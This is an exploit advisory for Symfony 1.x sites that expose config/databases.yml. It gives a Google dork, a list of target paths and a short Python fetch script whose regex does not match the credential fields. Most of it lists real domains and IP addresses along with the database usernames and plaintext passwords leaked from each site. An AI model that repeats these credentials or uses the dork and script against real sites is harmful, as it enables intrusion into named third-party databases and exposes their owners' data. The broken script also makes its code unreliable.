######################################################################

# Exploit Title : Symphony Project sfDoctrinesfPropel 1.x Database Password Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 10/05/2019
# Vendor Homepage : symfony.com
# Information : symfony-project.org/reference/1_4/en/07-Databases
# Software Versions : 1.x and All Versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : class: sfDoctrineDatabase inurl:/config/databases.yml
# Vulnerability Type : 
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

#####################################################################

# Impact :
***********
Symphony Project sfDoctrinePropel 1.x configuration file may potentially disclose 
sensitive information to remote attackers.
The username and password of the database may be obtained trough the "application.ini" file.
This is going to have an impact on confidentiality, integrity, and availability.
The configuration file unintentionally stored in /config/databases.yml
HTTP requests consisting of a single character will cause the software to disclose sensitive 
configuration information, including the password/database to the administrative web interface.
This file is installed, by default, with world readable and possibly world writeable permissions enabled. 
This may have some potentially serious consequences as the configuration file 
also stores password information in plain text.
This issue occurs because access controls on configuration files are not properly set. 
An attacker can exploit this issue to retrieve potentially sensitive information. 
Attackers can access config file via URL request. This may aid in further attacks. 
The access to the /configs directory should be restricted with an adequate 
countermeasure by the use of a .htaccess file.
* The product stores sensitive information in files or directories that are accessible to actors 
outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information to an actor 
that is not explicitly authorized to have access to that information.

#####################################################################

# Database Configuration File Disclosure Exploit :
*******************************************
/config/databases.yml

/becados1/config/databases.yml

/ganaton/config/databases.yml

/listing/config/databases.yml

/srp/config/databases.yml

/tauri/tauriExpeditions/exped/config/databases.yml

/mayotte/config/databases.yml

/economicos/config/databases.yml

Information :
*************
class: sfDoctrineDatabase
dsn:      pgsql:host=[IPADDRESS];dbname=becas
username: 
password: 

class:  sfPropelDatabase
param:
phptype: mysql  # Database vendor
hostspec: 
database:          
username: 
password: 

Exploit - Proof of Concept  :
**************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/config/databases.yml"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

#####################################################################

# Example Vulnerable Sites :
*************************
[+] exploringchile.travel/config/databases.yml

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn:      mysql:host=127.0.0.1;dbname=exploringchile_dev
      username: root
      password: alias
      attributes:
        default_table_charset: utf8
        default_table_collate: utf8_unicode_ci

prod:
  doctrine:
    param:
      dsn:      mysql:host=127.0.0.1;dbname=expchile_db
      username: expchile_chl
      password: RiFXTazyx8Su
      attributes:
        default_table_charset: utf8
        default_table_collate: utf8_unicode_ci 

[+] misionsucre.gob.ve/becados1/config/databases.yml

class: sfDoctrineDatabase
dsn:      pgsql:host=10.70.219.34;dbname=becas
username: proyecto
password: pr0y3c70

[+] 190.9.130.77/config/databases.yml

all:
  propel:
    class:        sfPropelDatabase
    param:
      classname:  PropelPDO
      dsn:        mysql:dbname=mampreca;host=localhost
      username:   mamprecauser
      password:   mampreca1

[+] avonapp.net/ganaton/config/databases.yml

dsn:      mysql:host=localhost;dbname=avonapp_ganaton
username: avonapp_ganadmin
password: C0ncurs0#?

[+] acrasoftware.com/listing/config/databases.yml

dsn: 'mysql:host=mysql1001.mochahost.com;dbname=born2win_listifydb'
      username: born2win_listify
      password: born2win_listify

[+] certorig.com/srp/config/databases.yml

dev:
  propel:
    class:                sfPropelDatabase
    param:
      phptype:            mysql     # Database vendor
      hostspec:           localhost
      database:           fed_srp_dev
      username:           fedexpor_cw
      password:           ozXV2ix1B2
      port:               3306
      encoding:           utf8      # Default charset for table creation
      persistent:         false     # Use persistent connections
all:
  propel:
    class:                sfPropelDatabase
    param:
      phptype:            mysql     # Database vendor
      hostspec:           localhost
      database:           certorig_srp
      username:           certorig_srp
      password:           ozXV2ix1B2
      port:               3306
      encoding:           utf8      # Default charset for table creation
      persistent:         false     # Use persistent connections

[+] superhost.source.com.pl/tauri/tauriExpeditions/exped/config/databases.yml

all:
  dispatcher:
    class: sfDoctrineDatabase
    param:
      dsn:      mysql:host=localhost;dbname=fbDispatcher
      username: fbDispatcher
      password: dyniaDuza
      attributes:
        quote_identifier: true
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn:      mysql:host=localhost;dbname=fbExpeditions
      username: fbExpeditions
      password: t578u4rie
      attributes:
        quote_identifier: true

[+] tropikloc.proxis-interactif.com/mayotte/config/databases.yml

      dsn:      mysql:host=localhost;dbname=tropikloc3
      username: tropikloc_user
      password: dtF3KlyRGsBS

[+] mail.p3-privateequity.net/transmon.pgdatahotel.net/config/databases.yml

      dsn:        mysql:dbname=transmon;host=localhost;unix_socket=/tmp/mysql.sock
      username:   transmon
      password:   pgtmon

[+]  uniconidea.com/config/databases.yml

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:host=localhost;dbname=confonline'
      username: confonline
      password: confonline

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:host=localhost;dbname=uniconid_confonline'
      username: uniconid_confonl
      password: H7bsPOhQVM2U

[+]  editorialdelnorte.cl/economicos/config/databases.yml

      classname:  PropelPDO
      dsn:        mysql:dbname=economicos;host=localhost
      username:   root
      password:   mibebe
      encoding:   utf8
      persistent: true
      pooling:    true

[+] mc.mcengineeringsrl.com/siwapp/config/databases.yml

all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:host=localhost;dbname=siwapp_db'
      username: 'siwapp_user'
      password: 'mcengineer'

test:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:host=localhost;dbname=siwapp_db_test'
      username: 'siwapp_user'
      password: 'mcengineer'
 
#####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

#####################################################################